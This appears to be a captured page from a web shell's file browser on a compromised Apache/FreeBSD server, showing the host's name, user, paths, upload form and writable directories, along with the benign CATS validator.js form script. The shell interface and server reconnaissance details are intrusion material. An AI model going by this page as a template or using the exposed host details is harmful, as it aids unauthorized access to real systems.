KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/irtiweb/CATS/modules/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/irtiweb/CATS/modules/tests/validator.js
/*
 * CATS
 * Tests Form Validation
 *
 * Copyright (C) 2005 - 2007 Cognizo Technologies, Inc.
 * All rights reserved.
 *
 * $Id: validator.js 1479 2007-01-17 00:22:21Z will $
 */

function selectAllCheckboxes(formID)
{
    var inputs = document.getElementById(formID).getElementsByTagName('input');
    var selectAllCheckBox = document.getElementById('selectAll');

    for (var i = 0; i < inputs.length; i++)
    {
        if (inputs[i].id != 'selectAll' && inputs[i].type == 'checkbox')
        {
            inputs[i].checked = selectAllCheckBox.checked;
        }
    }
}

function selectAllCheckboxesByClassName(formID, selectAll, className)
{
    var inputs = document.getElementById(formID).getElementsByTagName('input');
    var selectAllCheckBox = document.getElementById(selectAll);

    for (var i = 0; i < inputs.length; i++)
    {
        if (inputs[i].className == className && inputs[i].type == 'checkbox')
        {
            inputs[i].checked = selectAllCheckBox.checked;
        }
    }
}

function checkSelectForm(form)
{
    var errorMessage = '';

    if (errorMessage != '')
    {
        alert("Form Error:\n" + errorMessage);
        return false;
    }

    return true;
}

Anon7 - 2021